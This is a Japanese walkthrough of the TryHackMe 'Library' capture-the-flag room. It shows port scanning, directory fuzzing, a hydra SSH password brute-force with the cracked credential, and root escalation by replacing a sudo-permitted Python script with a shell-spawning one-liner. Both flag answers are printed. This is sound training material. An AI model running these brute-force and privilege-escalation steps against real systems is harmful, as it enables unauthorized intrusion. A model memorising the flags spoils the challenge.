【TryHackMe】Library：Walkthrough

# 概要

TryHackMe「Library」のWalkthroughです。

https://tryhackme.com/r/room/bsidesgtlibrary

# Task1

## **Q1**.*user.txt*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.182.106 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
|   256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_  256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to  Blog - Library Machine
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

オープンポートを列挙できました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|

Webサイトにアクセスします。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/772bba19-e3f7-a08a-c9a1-2869198a5191.png)

ディレクトリを列挙します。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.182.106/FUZZ -recursion -recursion-depth 1 -ic -c
```

攻撃に使えそうなものは見つかりませんでした。

```
/                       [Status: 200, Size: 5439, Words: 561, Lines: 93, Duration: 245ms]
images                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 244ms]
```

サイトにコメントを投稿できるフォームがありますが、送信してもレスポンスの変化は得られませんでした。

![post form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2eee6b89-3d89-abc9-a7fb-9ef8bb9cfddf.png)

サイト内に`root`,`www-data`,`Anonymous`,`meliodas`などのユーザー名が見られるのでSSHのパスワードを特定できないか調べたところ、`meliodas`のパスワードを解析できました。

```
$ hydra -f -l meliodas -P /usr/share/wordlists/rockyou.txt 10.10.98.120 ssh -t 40
[22][ssh] host: 10.10.98.120   login: meliodas   password: iloveyou1
```

SSH接続して`/home/meliodas/user.txt`からフラグを入手できます。

```
$ cat user.txt 
6d488cbb3f111d135722c33cb635f4ec
```

**A**.**6d488cbb3f111d135722c33cb635f4ec**

## **Q2**.*root.txt*

`sudo -l`で確認すると、`/home/meliodas/bak.py`がパスワードなしの特権ユーザーで実行できると分かりました。

```
$ sudo -l
Matching Defaults entries for meliodas on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User meliodas may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
```

`/home/meliodas/bak.py`の処理を確認します。

```bak.py
#!/usr/bin/env python
import os
import zipfile

def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))

if __name__ == '__main__':
    zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
    zipdir('/var/www/html', zipf)
    zipf.close()
```

`/var/www/html`配下のファイルやディレクトリを`/var/backups/website.zip`へ書き込んでいると分かりました。

`os.path.join`はパストラバーサル出来る可能性がありますが、今回の環境では出来ませんでした。
`/home/meliodas`配下は書き込み権限があります。
既存の`bak.py`を削除し、シェルを起動するコードを書いた`bak.py`を作成してrootのシェル獲得を試みます。

```
$ ls -l ../
total 4
drwxr-xr-x 5 meliodas meliodas 4096 Jun 21 03:59 meliodas
$ rm -f bak.py
$ echo "import pty; pty.spawn(\"/bin/sh\")" > bak.py
```

`/home/meliodas/bak.py`を実行するとroot権限を取得出来ました。

```
$ sudo python /home/meliodas/bak.py
# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```
# cat /root/root.txt
e8c8c6c256c35515d1d344ee0488c617
```

**A**.**e8c8c6c256c35515d1d344ee0488c617**